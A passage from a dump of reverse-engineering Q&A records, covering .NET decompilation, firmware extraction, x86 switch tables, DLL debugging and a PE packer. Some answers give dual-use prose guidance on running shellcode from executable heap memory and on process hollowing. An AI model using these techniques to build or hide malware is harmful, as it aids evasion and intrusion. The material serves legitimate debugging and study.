        "Answer": "<p>For testing shellcode on windows and in general, it's good idea to wrap it in a small program that executes it. </p>\n\n<p>What you could do is write a small program that would read the shellcode, say , from a file into malloc()-ed buffer and then jump to it. </p>\n\n<p>On windows, you'd probably want to use <a href=\"http://msdn.microsoft.com/en-us/library/windows/desktop/aa366898%28v=vs.85%29.aspx\">VirtualProtect</a> to set PAGE_EXECUTE_READWRITE permissions on that memory area before jumping to it. </p>\n\n<p>After reading shellcode into malloced memory and setting the execute permissions, you can simply use function pointer to call/jump to it. </p>\n\n<p>This will produce the executable binary which you can run in any debugger, set the breakpoint just before the function pointer call and then debug the shellcode as you wish.</p>\n\n<p>EDIT:</p>\n\n<p>A quick search reveals just a program like that in an article about <a href=\"http://mcdermottcybersecurity.com/articles/windows-x64-shellcode#testing\">Windows x64 Shellcode</a>. The same code can be applied on 32bit Windows.</p>\n"
    },
    {
        "Id": "2688",
        "CreationDate": "2013-08-25T10:31:10.710",
        "Body": "<p>I was working on a <code>C#.NET</code> application on windows platform, I was just testing the code and I don't know somehow I messed it up and after making too much efforts on <strong>undoing</strong>, I am still not able to <strong>recover</strong> my code. I don't want to write the whole code again.</p>\n\n<p>I only left with its .EXE file that executes well here, I want to know about some techniques or tools so that I can decompile my <code>EXE</code> code into its source code, Is it possible if it is, then please tell me some good decompilers. Any help will be appreciated, Thanks.</p>\n",
        "Title": "How can I decompile my (dot)NET .EXE file into its source code",
        "Tags": "|decompilation|executable|",
        "Answer": "<p>To build off of what the last user said, either Reflector or IlSpy will do the job. However that being said I'd recommend IlSpy over Reflector. Both of them will decompile the program into the intermediate language to roughly the same results but I've had better experiences (i.e. smoother, easier) parsing variable values using IlSpy.</p>\n\n<p>But if it's your own code and you remember what all of your variable values are then either one will work fine. Just my two cents.</p>\n"
    },
    {
        "Id": "2698",
        "CreationDate": "2013-08-27T12:45:00.983",
        "Body": "<p>Assume I use a software to encrypt data. How would I go about to find out with IDA or other RCE tools as to whether there is more than one key used during the encryption?</p>\n\n<p>I am talking asymmetric encryption here, and it is possible that the software in question hides one or more master keys (or makes use of some already elsewhere on the system) and I want to find that out. How can I approach that task?</p>\n\n<p>NB: you may assume I have determined the various algorithms in use.</p>\n",
        "Title": "Find out whether additional keys are being used when encrypting data",
        "Tags": "|disassembly|encryption|",
        "Answer": "<p>Assuming the you are speaking about strong encryption, most of the algorithms are supposed to be <a href=\"http://en.wikipedia.org/wiki/Ciphertext_indistinguishability\" rel=\"nofollow\">indistinguishable</a> even if you provided either the key or the clear text. So, it should not be possible to know that a given key is used  just by looking at the result. </p>\n\n<p>One example of this is the field of <a href=\"http://en.wikipedia.org/wiki/Kleptography\" rel=\"nofollow\">Kleptography</a> where:</p>\n\n<blockquote>\n  <p>[...] the outputs of the infected cryptosystem are computationally indistinguishable from the outputs of the corresponding uninfected cryptosystem. Hence, in black-box implementations (e.g., smartcards) the attack is likely to go entirely unnoticed.</p>\n</blockquote>\n\n<p>As you may have noticed, the Kleptography is safe only on black-box implementations, so there indeed room for detection in white-box attacks.</p>\n\n<p>But, I have not enough experience in this topic to give you general advices about it. Except the fact that you should start to look at real World implementation of cryptographic backdoors before trying to detect it. You may want to explore some of these links:</p>\n\n<ul>\n<li><a href=\"http://www.infosecurity-magazine.com/view/30852/the-dark-side-of-cryptography-kleptography-in-blackbox-implementations/\" rel=\"nofollow\">The Dark Side of Cryptography: Kleptography in Black-Box Implementations</a>, by Bernhard Esslinger and Patrick Vacek.</li>\n<li><a href=\"http://eprint.iacr.org/2002/183\" rel=\"nofollow\">Simple backdoors to RSA key generation</a>, by Claude Cr\u00e9peau and Alain Slakmon.</li>\n<li><a href=\"http://www.cryptovirology.com/cryptovfiles/research.html\" rel=\"nofollow\">Papers about Cryptovirology</a></li>\n<li><a href=\"http://www.iis.sinica.edu.tw/papers/mn/8101-F.pdf\" rel=\"nofollow\">A Comprehensive Study of Backdoors for RSA Key Generation</a>, by Ting-Yu Lin, Hung-Min Sun and Mu-En Wu.</li>\n</ul>\n\n<p>And so on...</p>\n"
    },
    {
        "Id": "2699",
        "CreationDate": "2013-08-27T13:56:28.000",
        "Body": "<p>I have come across the following x86 (Built with some version of Visual Studio AFAIK) switch statement:</p>\n\n<pre><code>0x1009E476  cmp edx, 0x3B\n0x1009E479  jnz switch_statement\n\nswitch_statement:\n0x1009E591  movzx ecx, byte [indirect_table+edx]\n0x1009E598  jmp dword [table1+ecx*4]\n\nindirect_table:\n0x1009E7AB  db 0x07, 0x07, 0x07, 0x07, 0x07, 0x07, 0x07, 0x07\n            db 0x07, 0x07, 0x06, 0x8B, 0xFF\n\ntable1:\n0x1009E7B8  dd ptr code1\n            dd ptr code2\n            dd ptr code3\n            dd ptr code4\n            dd ptr code5\n            dd ptr code6\n            dd 0x00000000 \n0x1009E7D4  dd 0x01060600, 0x06020606, 0x06060306, 0x06060606 ; Note: nothing directly references this data.\n            dd 0x06040606, 0x06060606, 0x06060606, 0x06060606\n            dd 0x06060606, 0x06060606, 0x06060606, 0x06060606\n            dd 0x06060606, 0x06060606, 0x06060606, 0x06060606\n            dd 0x06060606\n</code></pre>\n\n<p>No index in the <code>indirect_table</code> will end up referencing any of the 6 pointers in <code>table1</code>. Index 6 will dereference a null pointer, index 7 will dereference <code>0x01060600</code> and indexes <code>0x8B</code> and <code>0xFF</code> will end up dereferencing garbage. So everything will end up access violating.</p>\n\n<p>So perhaps this is a compiler optimization, the data at table1 following the 6 code pointers and 1 null pointer looks like an indirect table, and coincidentally all indexes are suitable for this switch statement (0-6). While the binary has no references to this data, if <code>EBX</code> was known to be <code>0x29</code> or upwards, it would reference into this. The compiler may have decided <code>EBX</code> will not be <code>0</code>-<code>0x29</code> so moved the indirect table location backwards to line things up correctly. What then is the role of <code>cmp edx, 0x3B</code> in this?</p>\n\n<p><strong>Is this a compiler code gen issue, a compiler optimization, or have I grossly misunderstood the code?</strong> </p>\n\n<p>If an optimization, any supporting reading material would be greatly appreciated.</p>\n",
        "Title": "Unusual x86 switch statement?",
        "Tags": "|x86|",
        "Answer": "<p>Either there is a check somewhere before, or the compiler knows otherwise that <code>edx</code> is not less than 41 (0x29). 0x3B is probably handled by a single switch label, so the compiler added this check to avoid the double memory lookup (or maybe there's an actual <code>if</code> before <code>switch</code> in the source).</p>\n\n<p>The table at 0x1009E7D4 is used to retrieve the jump table entry index - Visual C++ compiler always puts the indirect table after the jumps. 0x1009E7AB is likely a part of the previous switch's indirect table. And <code>8B FF</code> is <code>mov edi, edi</code>, used here for alignment.</p>\n\n<p>This specific optimization (no subtraction for zero-indexing) seems to be pretty rare; I think I've only seen it in Windows DLLs which often use PGO and other tricks to achieve the last few percents of performance.</p>\n"
    },
    {
        "Id": "2704",
        "CreationDate": "2013-08-28T14:14:31.663",
        "Body": "<p>I'm trying to analyse the firmware image of a NAS device.</p>\n\n<p>I used various tools to help the analysis (binwalk, deezee, signsrch, firmware-mod-kit which uses binwalk AFAIK), but all of them have been unsuccessful so far.</p>\n\n<p>For example binwalk seems to generate false positive regarding gzip compressed data and Cisco IOS experimental microcode.</p>\n\n<pre><code>Scan Time:     2013-08-27 14:52:15\nSignatures:    196\nTarget File:   firmware.img\nMD5 Checksum:  4d34d45db310bf599b62370f92d0a425\n\nDECIMAL         HEX             DESCRIPTION\n-------------------------------------------------------------------------------------------------------------------\n80558935        0x4CD3B57       gzip compressed data, ASCII, has CRC, last modified: Fri Oct  4 17:37:33 2019\n82433954        0x4E9D7A2       Cisco IOS experimental microcode\n145038048       0x8A51AE0       gzip compressed data, ASCII, extra field, last modified: Mon May 26 20:11:40 2014  \n</code></pre>\n\n<p>When trying to decompress the data I got the following error using gunzip/gzip</p>\n\n<pre><code>gzip: 4CD3B57.gz is a multi-part gzip file -- not supported\n</code></pre>\n\n<p>According to gzip FAQ (<a href=\"http://www.gzip.org/#faq2\">http://www.gzip.org/#faq2</a>) this is due to a transfer not made in binary mode which has corrupted the gzip header.</p>\n\n<p>It looks more like a false positive from binwalk to me mostly because the magic number used to identify gzip data can easily trigger false positive and the dates are wrong.</p>\n\n<p>I also ran strings and hexdump command in order to have an idea of the contents of the file and try to identify known pattern but it didn't help much so far (I probably lack experience in that type of thing here).</p>\n\n<p>The only non-gibberish/identifiable strings are located at the end of the firmware image.</p>\n\n<pre><code>00000000  f5 7b 47 03 d5 08 bf 64  ba e9 99 d8 48 cf 81 18  |.{G....d....H...|\n00000010  b1 69 1e 2c c2 f3 46 6b  53 2b b7 63 e8 ce 78 c9  |.i.,..FkS+.c..x.|\n00000020  87 fd b8 68 41 4d b2 61  71 cb cc 75 eb 8c e0 75  |...hAM.aq..u...u|\n00000030  25 d1 ec bd 6d 46 e8 16  37 c6 f5 2e 2a e0 dc 07  |%...mF..7...*...|\n00000040  65 b1 ce 7f 20 57 7c d7  cb 1d 91 fc 05 25 ad af  |e... W|......%..|\n00000050  58 56 ff 13 4d 03 95 7f  ad 58 0e 84 85 2f 73 5c  |XV..M....X.../s\\|\n00000060  d9 19 d4 d4 2c 27 be c6  45 f2 9f a4 b1 e1 04 f1  |....,'..E.......|\n00000070  c1 28 17 9c e1 f7 9d 2b  63 c3 7d e1 95 56 06 05  |.(.....+c.}..V..|\n[...]\n09ec9d60  4b 29 75 20 46 6e fb e3  0f 14 d4 93 54 8e 4f bb  |K)u Fn......T.O.|\n09ec9d70  4b ab 91 bf e7 8a b9 4e  c8 ff 87 17 93 19 e9 3f  |K......N.......?|\n09ec9d80  70 fe a6 9f d3 36 48 83  34 48 83 34 48 83 34 48  |p....6H.4H.4H.4H|\n09ec9d90  83 34 48 83 34 48 83 34  48 83 34 48 83 34 48 83  |.4H.4H.4H.4H.4H.|\n09ec9da0  34 48 83 34 48 83 34 48  83 34 48 83 34 48 83 34  |4H.4H.4H.4H.4H.4|\n09ec9db0  48 83 34 48 83 34 48 83  34 48 83 34 48 83 24 a7  |H.4H.4H.4H.4H.$.|\n09ec9dc0  ff 07 e9 0d 37 73 00 20  08 0a 69 63 70 6e 61 73  |....7s. ..icpnas|\n09ec9dd0  00 00 10 00 54 53 2d 35  36 39 00 00 00 00 00 00  |....TS-569......|\n09ec9de0  00 00 00 00 33 2e 38 2e  33 00 00 00 00 00 00 00  |....3.8.3.......|\n09ec9df0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n*\n09ec9e14\n</code></pre>\n\n<p>It is the first time I'm going through that type of exercise and I'm not sure what I should do next. The image seems to be obfuscated somehow (that might be a wrong assumption).</p>\n\n<p>Do you have suggestions/tricks that could help me make some progress?</p>\n",
        "Title": "Firmware analysis and file system extraction?",
        "Tags": "|obfuscation|file-format|firmware|embedded|",
        "Answer": "<p>I know this is an older question now, but I just want to add some updated information to the discussion for future answer-seekers.</p>\n\n<p>I'm also experimenting with this. Newer versions of binwalk have an automatic extract feature. Simply run: </p>\n\n<pre><code>binwalk -e ./firmwarefile.bin\n</code></pre>\n\n<p>It will extract and split up the different partitions into separate folders. This is much, much easier than using <code>dd</code>, where if you get the values wrong then <code>squashfs</code>/<code>gzip</code>/... will only see it as corrupted. </p>\n\n<p>Also, grab a copy of Kali or Backtrack linux (Backtrack might be depreciated now. I think, Kali is preferred) They have <code>binwalk</code> and firmware mod utils either installed or in the apt package manager repo for easy install. </p>\n\n<p>As for repackaging a firmware for uploading, I haven't gotten that far yet, myself. With the firmware I am using, <code>binwalk</code> also extracts the file with the signatures, as well. This contains the MD5 data for verifying the firmware on the device. </p>\n"
    },
    {
        "Id": "2708",
        "CreationDate": "2013-08-29T00:05:38.870",
        "Body": "<p>I am toying with writing a basic PE packer, whose job is simply to execute the attached target PE in memory. I have spent a couple of days getting intimate with the format, and I think that I have grasped it well enough for the purpose. These are the methods I use:</p>\n\n<ol>\n<li>Firstly, the target is bundled with the loader by being inserted into the <code>.data</code> section of a <a href=\"http://www.nasm.us/\" rel=\"noreferrer\">nasm</a> generated object file, which is later compiled together with the loader.</li>\n<li>Upon execution, the Image Data Directory is examined, and the Import Address Table properly bound by loading the needed libraries and functions.</li>\n<li>The PE and all of its sections need to be properly laid out in memory, hence <code>ImageBase</code> and <code>SizeOfImage</code> are read, and sufficient virtual memory is allocated for the next two operations.</li>\n<li>PE headers are written into the new location.</li>\n<li>Section data is gathered via section headers, and every section gets written into the new memory space, each into its designated virtual address. Proper permissions via <code>VirtualProtect()</code> are also set.</li>\n<li>Finally, <code>OptionalHeader.AddressOfEntryPoint</code> gets called.</li>\n</ol>\n\n<p>The loader, of course, has an exotic image base, as to not conflict with the standard <code>0x00400000</code> base. My problems lies somewhere along there. Almost every <code>.exe</code> has its relocations table stripped, so there's no way to do a base relocation if the desired base address is unavailable. The loader having a non-standard image base solves the problem to an extent. The target's desired base is only available in about 50% of runs. I've tried to find out what might occupy the memory in the other 50%, and have found out that it's almost always a <a href=\"http://msdn.microsoft.com/en-us/library/windows/hardware/ff563684%28v=vs.85%29.aspx\" rel=\"noreferrer\">section view</a>. Of what, or whose, I don't know. I've tried to use both <code>NtUnmapViewOfSection</code> and <code>NtFreeVirtualMemory</code>, but they don't solve the problem. The first seems to introduce memory corruption and the second does nothing. Is there any way of claiming that memory? Here's a screenshot from ProcessHacker:\n<img src=\"https://i.stack.imgur.com/sfrwq.png\" alt=\"\">.</p>\n\n<p>All ideas are welcome.</p>\n",
        "Title": "A PE packer: issues with the packed image base address",
        "Tags": "|pe|packers|",
        "Answer": "<p>Try getting code inspiration from process hollowing.</p>\n\n<p>Here's one that remotely runs it on a new space:\n<a href=\"https://github.com/hasherezade/libpeconv/tree/master/run_pe\" rel=\"nofollow noreferrer\">https://github.com/hasherezade/libpeconv/tree/master/run_pe</a>\n<a href=\"https://github.com/m0n0ph1/Process-Hollowing\" rel=\"nofollow noreferrer\">https://github.com/m0n0ph1/Process-Hollowing</a></p>\n\n<p>Try:</p>\n\n<ol>\n<li>run the packer loader from a newly allocated memory (copy loader shellcode to and run from RWX allocated mem.)</li>\n<li>unmap loader PE image, realloc, and replace it with new PE image</li>\n<li>dynamically import functions from new PE image</li>\n<li>jump to entry point of new PE image</li>\n</ol>\n\n<p>I haven't dug deep about resource loading yet. But if the new PE image uses LoadResource, it might read the loader's instead.  Not sure about this.</p>\n\n<p>You can get more ideas from debugging a UPX packed sample.</p>\n"
    },
    {
        "Id": "2720",
        "CreationDate": "2013-08-31T11:21:52.703",
        "Body": "<p>I am currently reversing firmware for some device.\nWithout any issues I was able to reach deep into its core and extract the file-system. Now I was trying to reverse some of the special applications on this device. After checking the file format I noticed the following: It is an ELF 32-bit MSB (big-endian) on the Ubicom32 platform. </p>\n\n<p>After googling, checking woodmann and tinkering with it a bit I couldn't find too much information about this format expect the fact that \"it exist\".</p>\n\n<p>Are there tools (or plug-ins) that handle this file format? Can I just regard this as ARM or MIPS? I did find <a href=\"https://dev.openwrt.org/browser/trunk/target/linux/ubicom32?rev=19815&amp;order=name#files/arch/ubicom32\" rel=\"nofollow\">OpenWRT - Ubicom32 Kernel</a> but no toolchain.</p>\n",
        "Title": "What is the Ubicom32 toolchain and where can I find it?",
        "Tags": "|firmware|ubicon32|",
        "Answer": "<p>You can find the toolchain in Western Digital N900's <a href=\"http://support.wdc.com/product/download.asp?groupid=1703&amp;sid=179&amp;lang=en\" rel=\"nofollow\">GPL source code</a>.</p>\n"
    },
    {
        "Id": "2728",
        "CreationDate": "2013-09-02T21:06:44.127",
        "Body": "<p>I want to debug a DLL when it is called from an application. For example, when Firefox calls <code>nss3.dll</code> \"<em>NSS Builtin Trusted Root CAs</em>\" to check HTTPS Certificates, I want to catch the <code>nss3.dll</code> and debug all its transactions with a known debugger like OllyDBG or any other. </p>\n\n<p>How to trace threads created and debug them ?</p>\n",
        "Title": "How to debug DLL imported from an application?",
        "Tags": "|debuggers|debugging|",
        "Answer": "<p>In OllyDBG and ImmunityDbg, in Options->Debugging Options-> Events you have an option \"Break on new module\". If this option is set, whenever a new DLL is loaded, Olly/Immdbg will break and let you do your business. </p>\n\n<p>In Windbg follow Debug-> Event Filters, in the list you will find Load module, on the side set the options to \"Enabled\" and \"Handeled\" which will achieve the same result as above.</p>\n\n<p>If on the other hand you want to break on the specific function, you can check the DLL exports which lists all the functions exported by DLL. After the DLL is loaded, and the debugger breaks as per previously mentioned settings, you can then proceed to set the breakpoints on individual functions. </p>\n"
    },
    {
        "Id": "2752",
        "CreationDate": "2013-09-05T07:14:52.263",
        "Body": "<p>I am currently reversing a windows driver in order to write a Linux compatible driver for a DVB card, but I have come up against a small issue that I can work around, but if it is possible I would like to make it correct.</p>\n\n<p>There is a function that part of which reads the 256 byte PCI config space into a local buffer that has been allocated on the stack. The decompilation shows the output as:</p>\n\n<pre><code>unsigned __int16 configSpaceBuffer[128];\n\n.... SNIP ...\n\nconfigSpace-&gt;vtable-&gt;tmRegisterAccess_ConfigSpace__tmIGetReg(\n        configSpace,\n        &amp;address,\n        4,\n        configSpaceBuffer,\n        256u,\n        0)\n\n _this-&gt;field_4A = v74;\n _this-&gt;field_4C = *(unsigned __int16 *)configSpaceBuffer;\n _this-&gt;field_4E = v75;\n _this-&gt;field_50 = v77;\n _this-&gt;field_52 = v76;\n</code></pre>\n\n<p>Is it possible to fix the detected function variables to show the following instead?</p>\n\n<pre><code> _this-&gt;field_4A = configSpaceBuffer[0];\n _this-&gt;field_4C = configSpaceBuffer[1];\n _this-&gt;field_4E = configSpaceBuffer[2];\n _this-&gt;field_50 = configSpaceBuffer[6];\n _this-&gt;field_52 = configSpaceBuffer[8];\n</code></pre>\n",
        "Title": "Hex-Rays Decompiler: Buffer on the stack",
        "Tags": "|ida|hardware|decompiler|driver|hexrays|",
        "Answer": "<p>I found the solution. Double click the variable name (<code>configSpaceBuffer</code> in this case) which brings up the stack window for the method where you can undefine the invalid variables and then define it as an array.</p>\n\n<p>Here is the output after this change:</p>\n\n<pre><code>      _this-&gt;ConfigSpace1 = configSpaceBuffer[1];\n      _this-&gt;ConfigSpace0 = configSpaceBuffer[0];\n      _this-&gt;ConfigSpace4 = LOBYTE(configSpaceBuffer[4]);\n      _this-&gt;ConfigSpace23 = configSpaceBuffer[23];\n      _this-&gt;ConfigSpace22 = configSpaceBuffer[22];\n</code></pre>\n"
    },
    {
        "Id": "2759",
        "CreationDate": "2013-09-06T12:49:29.167",
        "Body": "<p>I have a .NET method which is marked as an \"Internal Call\", meaning that it is implemented within the CLR itself. Is there any way to locate the code for and/or decompile such a method?</p>\n",
        "Title": "Decompile \"Internal Call\"",
        "Tags": "|decompilation|.net|",
        "Answer": "<p>If you use the windbg sos extension you can step into the internal calls - which are unmanaged code. The documentation for using sos is a bit tricky to sort out IMO. This link is helpful for learning the sos commands: <a href=\"http://msdn.microsoft.com/en-us/library/bb190764(v=vs.110).aspx\" rel=\"nofollow\">http://msdn.microsoft.com/en-us/library/bb190764(v=vs.110).aspx</a>. To load SOS I use:</p>\n\n<pre><code>.loadby sos clr ; for .NET 4 and higher\n.loadby sos mscorwks ; for .NET 2\n</code></pre>\n\n<p>However you have to wait until the .NET DLLs have been loaded before those commands work, so you either have to set a breakpoint or make sure the managed code has some kind of wait (for input or something else) to allow the process to load the .NET DLLs.</p>\n"
    },
    {
        "Id": "2761",
        "CreationDate": "2013-09-06T21:52:23.350",
        "Body": "<p>I've got a process that writes to a file (database). In process monitor I see <code>WriteFile</code>. After this I see the file is about to be either written or updated (offset:length).</p>\n\n<p>How can I reveal the content that is about to be written or updated in this file using Ollydbg?\nIs there a tutorial or something similar? And how to specify the function on Ollydbg? </p>\n\n<p>In process monitor, I see <code>WriteFile</code>, but in Ollydbg, what is the function?</p>\n",
        "Title": "How to view the content of a file before it is written?",
        "Tags": "|windows|debuggers|",
        "Answer": "<p>You can have a look at <a href=\"http://www.woodmann.com/collaborative/\" rel=\"nofollow noreferrer\">Woodmann</a> or <a href=\"http://tuts4you.com/\" rel=\"nofollow noreferrer\">tuts4you</a> if you need tutorials. And if you want to see what is writes you will have to have where the pointers are stored for the function in question.</p>\n\n<p>This has a lot to do with calling conventions, <a href=\"https://stackoverflow.com/questions/6511096/cdecl-or-stdcall-on-windows\">cdecl and stdcall</a> and knowing about them is important for this..</p>\n\n<p>I am going to try to explain using the writeFile function.</p>\n\n<h2>How does WriteFile Work</h2>\n\n<p>First we look at the WriteFile declaration (taken from <a href=\"http://msdn.microsoft.com/en-us/library/windows/desktop/aa365747(v=vs.85).aspx\" rel=\"nofollow noreferrer\">MSDN</a>)</p>\n\n<pre><code>BOOL WINAPI WriteFile(\n  _In_         HANDLE hFile,\n  _In_         LPCVOID lpBuffer,\n  _In_         DWORD nNumberOfBytesToWrite,\n  _Out_opt_    LPDWORD lpNumberOfBytesWritten,\n  _Inout_opt_  LPOVERLAPPED lpOverlapped\n);\n</code></pre>\n\n<p>Now when we assume that Windows has stdcall (win32api has). We can figure out where we can find the variables. (for more about the stdcall see <a href=\"http://en.wikipedia.org/wiki/X86_calling_conventions#stdcall\" rel=\"nofollow noreferrer\">Wikipedia</a>).</p>\n\n<p>Due to our wikipedia article we a few things:</p>\n\n<ul>\n<li>The parameters are pushed onto the stack in right-to-left order</li>\n<li>Registers EAX, ECX, and EDX are designated for use within the function. </li>\n<li>Return values are stored in the EAX register.</li>\n<li>stdcall is the standard calling convention for the Microsoft Win32 API.</li>\n</ul>\n\n<h2>This is great</h2>\n\n<p>Now we have everything we need to figure out where we can find the location of the information you need.\nWhen a breakpoint is placed on the function call you'll know that all the variables are stored on the stsck. LPCVOID is a Pointer, all that is left is to follow it and read the data.</p>\n"
    },
    {
        "Id": "2765",
        "CreationDate": "2013-09-07T10:57:26.763",
        "Body": "<p>I'm working on unpacking Hauwei E586 MiFi firmware. I downloaded firmware update pack which is available as Windows EXE, then used Hauwei Modem Flasher to unpack real firmware from installer.</p>\n\n<p>I've got 4 files:</p>\n\n<pre><code>01.bin: data\n02.bin: ELF 32-bit LSB executable, ARM, version 1, statically linked, not stripped\n03.bin: data\n04.bin: ELF 32-bit LSB executable, ARM, version 1, statically linked, not stripped\n</code></pre>\n\n<p>As we can see <code>02</code> and <code>04</code> are executable files. <code>01</code> is probably some kind of bootloader (I assume it from string analysis). <code>03</code> is some kind of pseudo FS.</p>\n\n<p>I started from analyzing <code>03</code> (I posted it <a href=\"http://czlug.icis.pcz.pl/~pbm/03.bin\" rel=\"noreferrer\">here</a>):</p>\n\n<p>There is header part</p>\n\n<pre><code>02 00 EE EE  50 BA 6E 00  20 00 00 00  D0 A2 02 00\n7B 02 00 00  00 00 00 00  00 00 00 00  00 00 00 00\n</code></pre>\n\n<p><code>7B 02</code> as 16 bits gives 635 which is number of files in binary (verified using <code>strings</code>). Then there are 635 parts describing each file (call it directory) and at the end there is content of files.</p>\n\n<p>There is directory entry for first GIF file which I found. I choosed GIF because it's easy to identify (there is header GIF8X and footer 0x3B).</p>\n\n<pre><code>77 77 77 5C  75 6D 5C 70  75 62 6C 69  63 5F 73 79\n73 2D 72 65  73 6F 75 72  63 65 73 5C  42 75 74 74\n75 6E 5F 43  75 72 72 65  6E 74 2E 67  69 66 00 00\nlot of zeros\n18 22 11 00  10 02 00 00  00 00 00 00  00 00 FF EE\n</code></pre>\n\n<p>We can see its name: <code>www\\um\\public_sys-resources\\Buttun_Current.gif</code> and in last line there is offset of file in binary and file size, but I'm not really sure how to interpret this values.</p>\n\n<p>I found first GIF after directory and extracted it manually (from header to footer) which gives me file of size 528 bytes, so reading <code>10 02</code> as 16 bit unsigned gives me that number. I tried to treat <code>18 22</code> as 16 bit unsigned to get offset, but it was different from offset that I manually read from file. Bu there was constant difference between offset and real offset of file of <code>1286864</code>. So I created script for unpacking this binary (I'm getting offset and adding to it <code>1286864</code>).</p>\n\n<p>Script worked only partially. It recreated directory structure, but was able only to extract files in one particular directory (directory with GIF which I was using as reference). After check on different part of file it seems that offset of offset in different subdirectories is another that in this GIF directory. So, my guess is that I'm interpreting offset wrong (but treating it as 32 bits gives nothing useful).</p>\n\n<p>There is unpack script:</p>\n\n<pre><code>import sys, struct, os\n\ndef main(args):\n    outdir = args[1]\n    f = open(args[0], 'rb')\n    f2 = open(args[0], 'rb')\n    header = f.read(32)\n    print(len(header[16:]))\n    number_of_files = struct.unpack(\"h\", header[16:18])[0]\n    print(number_of_files)\n\n    for i in range(number_of_files):\n        body = f.read(272)\n        file_, rest = body.split(b'\\x00', 1)\n        offset = struct.unpack(\"H\", body[256:258])[0] + 1286864\n        size = struct.unpack(\"H\", body[260:262])[0]\n        file_ = file_.decode(encoding='UTF-8').replace('\\\\', '/')\n        dirname = os.path.join(outdir, os.path.dirname(file_))\n        filename = os.path.basename(file_)\n        print(filename, size, offset, dirname)\n        try:\n            os.makedirs(dirname)\n        except OSError:\n            pass\n\n        outfile = open(os.path.join(dirname, filename), \"wb\")\n        f2.seek(offset)\n        outfile.write(f2.read(size))\n        outfile.close()\n\nif __name__=='__main__':\n    sys.exit(main(sys.argv[1:]))\n</code></pre>\n\n<p>Usage: <code>./script.py 03.bin output_directory</code></p>\n\n<p>So my question is: what I'm doing wrong? Maybe I should read some another data type as offset/size? Which one?</p>\n",
        "Title": "Hauwei E586 firmware",
        "Tags": "|file-format|firmware|embedded|",
        "Answer": "<p>I know this is an old thread, but I just wanted to add that your Hauwei E586 is probably based on the HiSierrra Chipset and Firmware. (That is, Huawei firmwares starting with \"21.\" when using the <a href=\"http://forum.gsmhosting.com/vbb/f804/huawei-modem-universal-flasher-1495518/\" rel=\"nofollow\">Huawei Modem Flasher</a>. ) This is using an embedded linux server, unlike those MiFi's based on the Qualcomm chips with firmwares strting with \"11.\". <a href=\"http://forum.xda-developers.com/showthread.php?t=2396752\" rel=\"nofollow\">Here</a> is another interesting thread on reversing the firmware on one of these (E589). </p>\n\n<p>My question is, did you also have to deal with a checksum for the entire binary? \n(Do you know how to calculate it, and where it's located?)</p>\n\n<p><sub>PS. This was meant as a comment, but I still don't have the required Rep. to do that.</sub></p>\n"
    },
    {
        "Id": "2766",
        "CreationDate": "2013-09-07T20:34:50.727",
        "Body": "<p>I am doing a research project where I want to look at apps that create or extends certain classes. For Android I am using the Androguard project which provide a large set of great tools for inspecting APK files and also comes with an API which I can use to extend it with my own code.</p>\n\n<p>I was wondering if there's anything similar available for iOS apps?</p>\n",
        "Title": "AndroGuard equivalent for iOS",
        "Tags": "|tools|ios|",
        "Answer": "<p>As far as I know there are no tools for exploring and interacting with .IPA files like Androguard for.APK files, but since the .IPA is essentially a zip, you can unzip and analyze the key components individually.</p>\n\n<p>Key components of the file and associated tools include:</p>\n\n<p><strong>Mach-O</strong></p>\n\n<p>The Mach-O file contains the executable code. This executable is encrypted inside the .ipa file unless it has been dumped and rebuilt from a rooted device. Once dumped and rebuilt the functions, strings, etc. can be viewed with IDA Pro. Objective C can be hard to follow so plug-ins like <a href=\"https://github.com/zynamics/objc-helper-plugin-ida\" rel=\"nofollow\">https://github.com/zynamics/objc-helper-plugin-ida</a> can be helpful. Also, check out otool and class-dump <a href=\"http://www.codethecode.com/projects/class-dump/\" rel=\"nofollow\">http://www.codethecode.com/projects/class-dump/</a> .</p>\n\n<p><strong>Plists</strong></p>\n\n<p>For gathering interesting information I have found the plists (especially iTunesMetadata.plist and the Info.plist). Plists found in the .ipa will either be in a readable XML format or a binary format. To convert binary to readable XML use Apple's plutil(1) or plutil.pl.</p>\n"
    },
    {
        "Id": "2770",
        "CreationDate": "2013-09-08T19:18:10.763",
        "Body": "<p>IDA autodetected some kind of offset like this:</p>\n\n<pre><code>mov     bx, word ptr (aSomeString+8)[di]\n</code></pre>\n\n<p>I want to set the base address to something else, like for example:</p>\n\n<pre><code>mov     bx, word ptr (glb_AnArray-6)[di]\n</code></pre>\n\n<p>because the pointer is actually a pointer to an array (of elements with size 6) that is indexed starting from 1. Bonus points if it's possible to transform it to something like this:</p>\n\n<pre><code>mov     bx, word ptr glb_AnArray[di+6]\n</code></pre>\n\n<p>So the question is: How can I tell IDA to take a specific address as base?</p>\n",
        "Title": "How to manually set the base address of a pointer in IDA?",
        "Tags": "|ida|",
        "Answer": "<p>I believe <kbd>ctrl</kbd>+<kbd>R</kbd> should be what you're looking for (highlight aSomeString before you press the key combo).</p>\n\n<p>Alternatively you can use the menu <code>Edit</code>-><code>Operand type</code>-><code>Offset</code>-><code>Offset user defined</code></p>\n"
    },
    {
        "Id": "2774",
        "CreationDate": "2013-09-09T19:50:13.730",
        "Body": "<p>I disassembled a file with OllyDbg and it had the following instruction:</p>\n\n<pre><code>REPNE SCAS BYTE PTR ES:[EDI]\n</code></pre>\n\n<p>What does that exactly mean ?</p>\n",
        "Title": "What does the assembly instruction 'REPNE SCAS BYTE PTR ES:[EDI]'?",
        "Tags": "|assembly|ollydbg|",
        "Answer": "<p>The <code>SCAS</code> instruction is used to scan a string (<code>SCAS</code> = SCan A String). It compares the content of the accumulator (<code>AL</code>, <code>AX</code>, or <code>EAX</code>) against the current value pointed at by <code>ES:[EDI]</code>.</p>\n\n<p>When used together with the <code>REPNE</code> prefix (<em>REPeat while Not Equal</em>), <code>SCAS</code> scans the string searching for the first string element which is equal to the value in the accumulator. </p>\n\n<p>The Intel manual (Vol. 1, p.231) says:</p>\n\n<blockquote>\n  <p>The SCAS instruction subtracts the destination string element from the contents of the EAX, AX, or AL register (depending on operand length) and updates the status flags according to the results. The string element and register contents are not modified. The following \u201cshort forms\u201d of the SCAS instruction specify the operand length: SCASB (scan byte string), SCASW (scan word string), and SCASD (scan doubleword string).</p>\n</blockquote>\n\n<p>So, basically, this instruction scan a string and look for the same character than the one stored in <code>EAX</code>. It won't touch any registers other than ECX (counter) and EDI (address) but the status flags according to the results.</p>\n"
    },
    {
        "Id": "2778",
        "CreationDate": "2013-09-10T09:12:17.270",
